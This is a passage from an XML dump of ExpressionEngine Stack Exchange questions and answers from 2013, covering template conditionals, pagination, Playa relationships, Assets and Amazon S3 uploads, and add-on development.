Off&#xA;error_reporting = E_ALL &amp;amp; ~E_DEPRECATED&#xA;safe_mode_gid = Off&#xA;auto_prepend_file = &#xA;implicit_flush = Off&#xA;allow_url_fopen = On&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tested it with uploading a 5MB MP3 file and some smaller .txt and .wav files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything obvious that I'm missing or could try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-06-08T00:34:42.260" Title="Uploading Large Files" Tags="|file-uploads|channel-files|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10158" PostTypeId="1" CreationDate="2013-05-08T05:51:46.470" Score="1" ViewCount="126" Body="&lt;p&gt;I'm using Assets and need to output a 'Resources' section listing various types of PDF's - Brochures, Technical Data, Operating Manuals with a 'category' nav to filter them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I initially set them up as a category group and although I can apply categories to files using the native EE file manager, I cant seem to find any way of adding categories to files using Assets. Am I just missing something or is there a reason for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would creating sub-folders in Assets and outputting the list using Asset template tags be a better method than using file categories and native tags? Can I filter by sub-folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I noticed that if I create a sub-folder with more than a one-word title using Assets, the name is joined with an underscore i.e. 'Technical_Manuals'. Is there any way around this as obviously this wont be suitable front-end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I seem to have hit the bug mentioned elsewhere where no files are being output front-end using Assets 2.1.2.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-05-08T05:51:46.470" Title="File Category or Assets Folders for File Listings?" Tags="|categories|assets|files|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10159" PostTypeId="1" AcceptedAnswerId="10890" CreationDate="2013-05-08T08:47:54.300" Score="0" ViewCount="180" Body="&lt;p&gt;There is a similar issue mentioned here, but the answer doesn't work for me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click on the site link it'll forward as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.nl/?URL=http://example.nl/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works for all my EE sites, except one. This shows a blank page. I have completely removed the .htaccess file to test if that was the cause, but no change. Since this normally presents a EE page like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;To proceed to the URL you have requested, click the link below:&#xA;&#xA;http://example.nl/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume the issue is EE related? Or is it server related?&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-05-31T16:37:16.093" Title="redirect from Control Panel (top right link) not working" Tags="|url|rewrite|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10160" PostTypeId="2" ParentId="10153" CreationDate="2013-05-08T09:53:37.290" Score="1" Body="&lt;p&gt;Go to your &lt;code&gt;config.php&lt;/code&gt; file. If you're using cookies, sessions, or both, switch to a different option. For example, if you were using sessions, switch it to cookies only, then try to login. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also check with the ISP, to see if they updated the servers version of PHP. If the client isn't prepared to upgrade to EE2, then at least they should upgrade to EE 1.7.3. I know between 1.6.8 and 1.7.3 compatibility for MySQL 5.5 was introduced, so it's also possible that some PHP compatibility issues were also addressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, with software like pMachine or EE 1.x, while they are pretty solid pieces of software, that don't need to be upgraded (generally speaking), they also run on servers, that will be continually upgraded (if the ISP is responsible), which means they will eventually stop running. So upgrading to the most current version &lt;strong&gt;you can&lt;/strong&gt; is good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't have to be EE 2.6.1, but EE 1.6.8 should probably become EE 1.7.3, with a warning that they'll probably need to migrate to EE2.x sometime within the next year or two.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-05-08T09:53:37.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10161" PostTypeId="1" CreationDate="2013-05-08T10:08:44.643" Score="0" ViewCount="123" Body="&lt;p&gt;Im trying to add pagination to my Search results page. Each time i do a search for a product that has a lot of results they are all appearing on the one page. Can anyone help me?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container btm_pg_padding&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;twelve columns margin-top&quot;&amp;gt;&#xA;        &amp;lt;header&amp;gt;&#xA;            &amp;lt;p&amp;gt;{exp:search:total_results} Result(s) for &quot;{exp:search:keywords}&quot;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/header&amp;gt; &#xA;        {exp:search:search_results results=&quot;10&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title} - &amp;lt;span class=&quot;channel_name&quot;&amp;gt;({channel})&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;            {sn:global_pagination}&#xA;        {/exp:search:search_results}&#xA;        {sn:global_sidebar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastEditorUserId="425" LastEditDate="2013-05-08T16:01:59.763" LastActivityDate="2013-06-09T09:34:53.033" Title="Search results wont paginate" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10162" PostTypeId="2" ParentId="10032" CreationDate="2013-05-08T10:10:52.170" Score="0" Body="&lt;p&gt;The issue was that in snippet sync it was looking for {snippet:global_sidebar}  - rather than {sn:global_sidebar}&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2013-05-08T10:10:52.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10163" PostTypeId="1" AcceptedAnswerId="10517" CreationDate="2013-05-08T10:28:52.887" Score="2" ViewCount="187" Body="&lt;p&gt;I just purchased Store a few weeks ago and my clients added another request is that she want to be able to track the change in her stock, not just the remain stock number after order/sale but also the newly imported ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example she has a product call T-Shirt, original stock level is 10.&#xA;At the end of the month, she sold 9, has 1 remaining in stock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now she wants to add 9 more from a certain supplier to make sure the stock level at the beginning of next month is 10 again. How would you suggest her to do so and how we can track the number of T-shirt we have import from a certain supplier during a certain period of time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if I didn't explain clearly enough.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="477" LastActivityDate="2013-05-18T10:29:34.483" Title="Stock Management Workflow" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10164" PostTypeId="1" AcceptedAnswerId="10166" CreationDate="2013-05-08T10:34:48.607" Score="0" ViewCount="136" Body="&lt;p&gt;I want to add a different class and fields to the 1st and 2nd entries produced from the channel entries call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then want the rest of the entries on the page to be the same style, that style should then continue in the pagination, the 1st and 2nd entries should not be styled differently on the pagination pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using {if count == '1'} and {if count == '2'}, and {if absolute_count == '1'} and {if absolute_count == '2'}, but the pagination also styled the first and second entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My scenario is the first entry will be large than the rest and contain different information, so different fields need to be outputted with this. Also the second entry will be slightly different too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on how i could get this working would be great.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-05-08T11:14:12.917" Title="How to add a different style to the first 2 entries in a channel call" Tags="|channel-entries|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10165" PostTypeId="1" AcceptedAnswerId="10290" CreationDate="2013-05-08T11:10:09.830" Score="0" ViewCount="240" Body="&lt;p&gt;I have asked this question in the official EE forum but didn't get any replies so thought about asking the same question here, hope someone can help?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;What I am trying to do:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the SolSpace user module installed and pulling the username of my members as segment 1 (e.g. www.domain.com/peter) now I have a channel where my users can enter a blog entry but I want each user to have their own blog address (e.g. www.domain.com/peter/blog) so got all that working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;The problem:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to www.domain.com/peter/blog I see Peter’s entries and that’s good and all but when I click on the title to read more I get the permalinks page for that blog entry, what I would like to get is www.domain.com/peter/blog/hello-world served on the screen and no matter what I try it’s getting that the 3rd segment to show that entry…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;This is my code:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{if segment_2 ==&quot;blog&quot;}&#xA; {exp:channel:entries channel=&quot;blog&quot; username=&quot;{segment_1}&quot; limit=&quot;10&quot; dynamic=&quot;no&quot;}&#xA;  {title}&#xA; {/exp:channel:entries}&#xA;{if:else}&#xA; {exp:channel:entries channel=&quot;blog&quot; username=&quot;{segment_1}&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;  {title}&#xA; {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Also tried&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    {if segment_2 ==&quot;blog&quot;}&#xA;     {exp:channel:entries channel=&quot;blog&quot; username=&quot;{segment_1}&quot; limit=&quot;10&quot; dynamic=&quot;no&quot;}&#xA;      {title}&#xA;     {/exp:channel:entries}&#xA;    {/if}&#xA;    {if segment_2 ==&quot;blog&quot; AND segment_3 ==&quot;&quot;}&#xA;     {exp:channel:entries channel=&quot;blog&quot; username=&quot;{segment_1}&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;      {title}&#xA;     {/exp:channel:entries}&#xA;    {/if} &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried so many different combos to get the 3rd segment to show but nothing shows or I get a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can link the page to www.domain.com/blog/hello-world and that works but I wanted to get www.domain.com/peter/blog/hello-world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have am running EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I made sense, if not please let me know and I will try again,&#xA;I know the code is wrong but if someone can put me on the right track…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&#xA;Tony&lt;/p&gt;&#xA;" OwnerUserId="1450" LastActivityDate="2013-05-13T11:40:53.847" Title="Segment 3 not showing?" Tags="|solspace-user|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10166" PostTypeId="2" ParentId="10164" CreationDate="2013-05-08T11:14:12.917" Score="0" Body="&lt;p&gt;absolute_count is the right variable to use, as it should give you the count of the entry relative to the total number of entries available within the entries loop, ignoring pagination (whereas count resets for each pagination).  So I'm surprised that the second example you provided didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I ordinarily handle such a condition is with the switchee add-on - it early parses the outer conditional (using switch case) and therein avoids parsing the inside of the condition/case that isn't satisfied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in this way, the setup would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;whatever&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot; disable=&quot;whatever|not|needed&quot;}&#xA;     {exp:switchee parse=&quot;inward&quot; var=&quot;{absolute_count}&quot;}&#xA;       {case value=&quot;1|2&quot;}&#xA;         first and second entries&#xA;       {/case}&#xA;       {case default=&quot;yes&quot;}&#xA;         all other entries&#xA;       {/case}&#xA;     {/exp:switchee}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Given that the larger ones would contain different info, it may be a little more than just applying a different class to absolute 1 and 2 and instead your different content markup would be contained between the two cases - the first matching 1 and 2 in your absolute count and the second matching all others that do not satisfy the first case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-08T11:14:12.917" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10167" PostTypeId="2" ParentId="10165" CreationDate="2013-05-08T11:26:09.353" Score="0" Body="&lt;p&gt;Depending on how you are arriving to the blog template group, you may not necessarily need the conditional around segment_2 unless there's other items that may be displayed.  In any event, maybe give this a try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if segment_2 == &quot;blog&quot; AND segment_3 == &quot;&quot;}&#xA;    entries loop for user's full list of entries&#xA;{if:elseif segment_2 == &quot;blog&quot; AND segment_3 != &quot;&quot;}&#xA;    entries loop for user's single entry&#xA;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I saw above is that segment_2 condition was met by both conditions.  This way, it's force to a yes or no with each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also recommend wrapping this with Croxton's &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;ifelse&lt;/a&gt; add-on so the outer conditional is parsed earlier and therefore the insides only get parsed if the outside condition is met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you may need/want to add a parameter to your entries loop to narrow it to the specific entry, like url_title=&quot;{last_segment}&quot; or url_title=&quot;{segment_3}&quot;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-08T11:26:09.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10168" PostTypeId="1" AcceptedAnswerId="11110" CreationDate="2013-05-08T11:33:28.533" Score="1" ViewCount="273" Body="&lt;p&gt;As a learning process, I am developing a field type that will allow me to insert data from multiple text inputs and text area fields (similar to an address field with text fields for address, state, postal code, etc.) So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using the form_input and form_textarea methods from Codeigniter's form helper to generate the fields, but I was wondering if there is a way of implementing the native RTE as another option. Is there some sort of EE helper method to generate the RTE in my own field type's display method?&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2013-06-08T15:29:00.443" Title="Using the RTE within my own custom field type" Tags="|add-on-development|fieldtype|rte|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10169" PostTypeId="2" ParentId="10128" CreationDate="2013-05-08T11:44:21.540" Score="1" Body="&lt;p&gt;When testing the site on a dev server the month displayed correctly. So I assume the issue was related to me local setup.&lt;/p&gt;&#xA;" OwnerUserId="1336" LastActivityDate="2013-05-08T11:44:21.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10170" PostTypeId="1" CreationDate="2013-05-08T12:16:17.140" Score="3" ViewCount="874" Body="&lt;p&gt;Assets has been working well for the past couple of weeks uploading files to Amazon S3. The past few days the customer has started uploading the main bulk of his files Wav files, approx. 10Mb up to 50Mb in size. All was working well, until last night it stopped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When refreshing the bucket list in Asset Sources settings, it states:&#xA;&quot;Access denied by target host&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Access and Secret Keys are correct, I even tried creating new ones. &#xA;S3 permissions on the bucket is correct. &#xA;In fact nothing has changed our end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read online we should create a Bucket Policy. I did this, to no avail, same error. I even made a completely open policy allowing everyone to do everything, still same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I disabled our firewall, same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just seems Amazon is blocking us all of a sudden for no reason. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any advice, it renders Assets and S3 useless and completely changes the way our site works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-08-26T20:38:19.660" Title="Assets stopped connecting to Amazon S3, Access denied by target host" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10171" PostTypeId="1" CreationDate="2013-05-08T12:16:33.030" Score="1" ViewCount="43" Body="&lt;p&gt;Because of the missing &quot;usage&quot; docs in DevDemons site, i dunno what i need to do to get the Editor shown in SC form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this would do the trick but it was a no-go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;                        &amp;lt;label &amp;gt;&amp;lt;h3&amp;gt;Body&amp;lt;/h3&amp;gt;&amp;lt; /label &amp;gt;&amp;lt;br /&amp;gt;&#xA;                        &amp;lt;textarea name=&quot;edtr_body&quot; rows=&quot;10&quot; cols=&quot;50&quot; style=&quot;width:90%; background-color:#b3c1cd;&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Someone for sure can tell how to add this fieldtype to SC?&#xA;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: i am using html5 template.&lt;/p&gt;&#xA;" OwnerUserId="1242" LastEditorUserId="1242" LastEditDate="2013-05-08T12:42:36.730" LastActivityDate="2013-06-07T13:34:40.547" Title="Editor doesnt show up as it should in SC" Tags="|safecracker|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10173" PostTypeId="1" CreationDate="2013-05-08T12:37:28.190" Score="1" ViewCount="924" Body="&lt;p&gt;I have a textarea field (which i'm using to paste some custom CSS for a page) that has no formatting set on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I paste the following in;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;h2 {background-color: #03c7e1;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine automatically outputs it as;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;h2 {background-color: #03c7e1;&amp;amp;#125;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's real confusing and wondered if anyone else had this issue before?&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-06-08T22:18:54.543" Title="Textarea seems to be converting plain text to html entities" Tags="|text-formatting|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10174" PostTypeId="2" ParentId="10171" CreationDate="2013-05-08T12:49:17.877" Score="1" Body="&lt;p&gt;Well ok. It was as simple as to change the &amp;lt; textarea NAME -&gt; ID. and it shows up. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-05-08T12:49:17.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10176" PostTypeId="1" CreationDate="2013-05-08T13:29:29.387" Score="1" ViewCount="329" Body="&lt;p&gt;Within my channel entries loop, I'm trying to determine if an entry has FAqs; which in this situation are the parent as you choose an entry in the FAQ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have:&#xA;&lt;code&gt;{if '{exp:playa:total_parents channel=&quot;faqs&quot; entry_id=&quot;{entry_id}&quot;}' &amp;gt; 0}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which works-ish. It returns true for entries with no parent FAQs too. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse order is set to input due to having some necessary PHP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; entry_id=&quot;&amp;lt;?php echo $entry_id; ?&amp;gt;&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    {if {exp:playa:total_parents channel=&quot;faqs&quot;} &amp;gt; 0}&#xA;        blah blah&#xA;    {/if}&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Blah blah in this particular case returns whether or not there actually are FAQs.&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="373" LastEditDate="2013-05-08T18:04:10.487" LastActivityDate="2013-06-07T18:34:42.410" Title="How to find if an entry has parents (Playa) in a particular channel?" Tags="|add-on|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10178" PostTypeId="1" AcceptedAnswerId="10574" CreationDate="2013-05-08T13:35:17.333" Score="1" ViewCount="348" Body="&lt;p&gt;We're currently developing an html5 based iOS app using ExpressionEngine as the data source. So far it's working and looking great. However, we're unsure as to how approach the member side of things: we want to allow users to log in as they do on the main website. This appears to be somewhat of a challenge and we're wondering if anyone has come across a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're also using Zoo Visitor, but I don't think that's so relevant? It's the member authentication side of things we don't know how to tackle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2013-05-21T09:36:37.507" Title="Using EE as a data source for an iphone app" Tags="|members|zoo-visitor|authentication|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10179" PostTypeId="1" CreationDate="2013-05-08T14:07:09.533" Score="0" ViewCount="671" Body="&lt;p&gt;I am trying to create links to the next and previous entries NOT using pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the plugin Next / Previous Links Anywhere from McFly but it is not working as described and no longer supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest another plugin that takes the current entry ID from a single page entry and provides a link to the next and previous entries based on the sort order?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-08-27T22:24:17.543" Title="next / previous entry linking" Tags="|pagination|links|next-prev|sort|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10184" PostTypeId="2" ParentId="10179" CreationDate="2013-05-08T16:20:27.690" Score="0" Body="&lt;p&gt;I ended up using the following plugin: &lt;a href=&quot;http://www.intoeetive.com/index.php/comments/entry-linking-plugin-for-ee-2.x&quot; rel=&quot;nofollow&quot;&gt;http://www.intoeetive.com/index.php/comments/entry-linking-plugin-for-ee-2.x&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-08T16:20:27.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10185" PostTypeId="1" CreationDate="2013-05-08T16:33:02.977" Score="2" ViewCount="177" Body="&lt;p&gt;EE 2.5.5&#xA;PLaya 4.4.1&#xA;Zoo Visitor 1.3.23&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this site I have members who can edit their profile and select divisions that they belong to (playa). On the front end I can easily limit the display of their profile to only 4 divisions - :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However on the divisions section of the site - Each division lists all members of that division using exp:playa:parents. The issue is how do I limit it so that a member only appears in the first 4 divisions that they have selected? As it stands I have a test member who is in 10 divisions and &lt;strong&gt;they appear in all divisions&lt;/strong&gt;, however on their member profile only the first 4 divisions are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally when setting up the playa field and selecting Allow multiple selections I could limit the number of selections but that doesn't appear to be possible.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2013-05-08T16:40:07.293" LastActivityDate="2013-10-28T23:15:56.360" Title="Playa - multiple selections - limit to 4" Tags="|playa|zoo-visitor|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10186" PostTypeId="2" ParentId="10185" CreationDate="2013-05-08T16:56:50.087" Score="0" Body="&lt;p&gt;Doing this without building a custom add-on will probably be quite tricky. The only way I can think of is by using a Matrix field limited to 4 rows, with a single-select Playa field in one of the columns. Not a particularly great experience for editing your profile, but it would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add: the upside would be that you could store extra data against each selection very easily, should the site's requirements ever grow.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-08T16:56:50.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10187" PostTypeId="2" ParentId="10185" CreationDate="2013-05-08T17:00:59.227" Score="1" Body="&lt;p&gt;Could you simply have 4 playa fields limited to a single selection each?&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2013-05-08T17:00:59.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10188" PostTypeId="2" ParentId="10176" CreationDate="2013-05-08T17:08:48.177" Score="1" Body="&lt;p&gt;If your total_parents loop is inside your entries loop, you shouldn't need the entry id param since it defaults to that. So you should be able to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;whatever|not|needed&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&#xA;    {if '{exp:playa:total_parents channel=&quot;faqs&quot; dynamic=&quot;no&quot; disable=&quot;whatever|not|needed&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}' &amp;gt; '0'}&#xA;        whatever you want if there are parent entries&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works only if the playa field is in the FAQ field group and that field is assigned to the channel used by your loop - is that where you have it?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-08T17:08:48.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10189" PostTypeId="2" ParentId="9893" CreationDate="2013-05-08T18:04:56.910" Score="0" Body="&lt;p&gt;have you tried this using category_url_title instead?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3==&quot;{category_url_title}&quot;} class=&quot;selected&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-05-08T18:04:56.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10192" PostTypeId="1" AcceptedAnswerId="10228" CreationDate="2013-05-08T18:42:48.810" Score="0" ViewCount="498" Body="&lt;p&gt;I previously asked a &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10092/invalid-ee-conditional-variable-error-updated&quot;&gt;question&lt;/a&gt; about this, but the question itself has kind of changed, and I don't know if anyone's still following it to begin with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the error I'm seeing:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[06-May-2013 10:50:12] PHP User Warning: Invalid EE Conditional&#xA;  Variable: {if &quot;N&quot;original&quot;$1.50&quot; != &quot;&quot;} in&#xA;  C:\gitRepo\qo5phi\system\expressionengine\libraries\Functions.php on&#xA;  line 2843&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I found that the error was being thrown by a custom exception built into expression engine that will do partial matches on variable names if it doesn't find the original one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From libraries/Functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// There is a partial variable match being done&#xA;// because they are doing something like segment_11&#xA;// when there is no such variable but there is a segment_1&#xA;// echo  $x[$j].&quot;\n&amp;lt;br /&amp;gt;\n&quot;;&#xA;trigger_error('Invalid EE Conditional Variable: '.$matches[0][$i], E_USER_WARNING);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in certain iterations of the loop, it's not finding &lt;code&gt;deal_original_price&lt;/code&gt;, so it's trying to do a partial match and is finding &lt;code&gt;deal&lt;/code&gt;, which evaluates to N in these cases. (As is indicated by the error message.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why it's even trying to evaluate &lt;code&gt;deal_original_price&lt;/code&gt; in these cases, though, because the entire conditional call is inside another conditional that only runs if &lt;code&gt;deal&lt;/code&gt; is Y.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if deal == &quot;Y&quot; AND coupon == &quot;N&quot;}&#xA;    &amp;lt;tr data-deal_id=&quot;{deal_id}&quot;&amp;gt;&#xA;        &amp;lt;td class=&quot;productPrice&quot; style=&quot;vertical-align: top;&quot;&amp;gt;${deal_total}&amp;lt;br /&amp;gt;&#xA;             &amp;lt;!-- this next line is the one throwing the error --&amp;gt;&#xA;            {if deal_original_price &amp;amp;&amp;amp; deal_original_price != &quot;&quot; &amp;amp;&amp;amp; deal_original_price &amp;lt;&amp;gt; deal_total}&#xA;                &amp;lt;span class=&quot;originalDealPrice&quot;&amp;gt;${deal_original_price}&amp;lt;/span&amp;gt;&amp;lt;br 